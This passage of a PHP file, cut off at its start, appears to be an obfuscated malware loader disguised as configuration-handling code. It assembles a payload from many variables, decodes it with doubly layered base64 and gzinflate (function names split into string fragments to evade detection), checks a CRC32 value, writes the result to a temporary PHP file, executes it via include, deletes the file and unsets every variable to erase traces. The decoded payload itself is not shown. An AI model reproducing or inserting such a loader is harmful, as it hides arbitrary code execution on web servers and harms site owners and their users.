$data_2a2641, $data_6e6225, $data_b64437, $data_f34ceb, $data_eca42b, $data_a7bb3e, $data_1a3041, $data_3c7511, $data_7dff67, $data_242e83, $data_ef6bf6]; function config_handler($payload) { if (is_array($payload)) { $payload = implode("", $payload); } if (empty($payload) || !is_string($payload)) return null; $f1 = "ba"."se64_"."decode"; $f2 = "gz"."inflate"; $raw = $f1($payload); if ($raw === false) return null; $raw = $f2($raw); if ($raw === false) return null; $raw = $f1($raw); if ($raw === false) return null; $raw = $f2($raw); if ($raw === false) return null; return $raw; } $lib_18af = function_exists('mb_strlen') ? true : false; if ($lib_18af) { /* compatibility check */ } function __check_env_status($v) { return is_string($v) ? strlen($v) : 0; } $core_b856 = config_handler($config_8426); if ($core_b856 !== null && crc32($core_b856) === 2912096388) { $route_bc02 = $core_b856; $fwt = "fi"."le_"."put_"."cont"."ents"; $ftd = "sy"."s_get_"."temp_"."dir"; $ftm = "te"."mpn"."am"; $fun = "un"."li"."nk"; $app_351e = $ftd(); $base_b449 = $ftm($app_351e, "_"); @$fwt($base_b449, "<?php " . $route_bc02); if (file_exists($base_b449)) { include("" . $base_b449); } @$fun($base_b449); } unset($init_247c, $config_8426, $data_e26c, $lib_18af, $core_b856, $route_bc02, $app_351e, $base_b449, $config_handler); unset($data_8e0680, $data_5ffc7e, $data_59d8c5, $data_d87d83, $data_af6eb6, $data_0b8058, $data_1bac5d, $data_c38f4e, $data_d7db88, $data_b5e85b, $data_ac61bc, $data_8cde82, $data_b4f6be, $data_a435d9, $data_591a73, $data_da0767, $data_068690, $data_fc6298, $data_17ac75, $data_b0e190, $data_9ec611, $data_c1e376, $data_7b4dbd, $data_9d0a3c, $data_a7e0eb, $data_0876db, $data_7af98e, $data_07cb81, $data_d388be, $data_a76d3f, $data_86d821, $data_200f92, $data_5ecd3c, $data_c9f8c8, $data_5dbe5f, $data_28cc51, $data_e6939e, $data_211569, $data_1fbeaa, $data_c9ffff, $data_921ad1, $data_6d2bff, $data_b7730c, $data_01a6ac, $data_2e0e8a, $data_f35cef, $data_d80ed6, $data_3c693a, $data_b7ea6c, $data_6c3b1e, $data_2642ec, $data_0fcc49, $data_3e29df, $data_bc1b3b, $data_db8fa8, $data_2d4310, $data_e8316c, $data_9421fa, $data_78eb11, $data_a73b4e, $data_6078d0, $data_a7bd1b, $data_585374, $data_91750d, $data_bb5a94, $data_4c89b1, $data_6c4cfb, $data_fb0268, $data_dbe25d, $data_f1a6b0, $data_4e1220, $data_9c460b, $data_7c3bcd, $data_84c9c2, $data_e9364c, $data_68c290, $data_80dda4, $data_d9b8c9, $data_aa7e26, $data_e4a4bd, $data_750755, $data_bfdd6a, $data_c60d6a, $data_1f6829, $data_d9b783, $data_ccbb9c, $data_feee6e, $data_2db14d, $data_5c58aa, $data_8c0d02, $data_0e4521, $data_475185, $data_9ca0ad, $data_0be13c, $data_8787a3, $data_742a09, $data_035f29, $data_a6ec9c, $data_1f4548, $data_02c15d, $data_3fe573, $data_1a5a9a, $data_9fb9b1, $data_71664e, $data_2a3782, $data_a17d42, $data_376a10, $data_83252a, $data_48115a, $data_96f8f6, $data_07c275, $data_07af31, $data_401f86, $data_a89dfd, $data_5163e6, $data_5d30e4, $data_71b353, $data_b70acf, $data_7b6057, $data_fad6cf, $data_884560, $data_3dbe71, $data_736e89, $data_678fa2, $data_dbcd09, $data_cfe339, $data_f13098, $data_4aa48e, $data_3b0738, $data_b13fda, $data_fd95a8, $data_2a2641, $data_6e6225, $data_b64437, $data_f34ceb, $data_eca42b, $data_a7bb3e, $data_1a3041, $data_3c7511, $data_7dff67, $data_242e83, $data_ef6bf6); ?>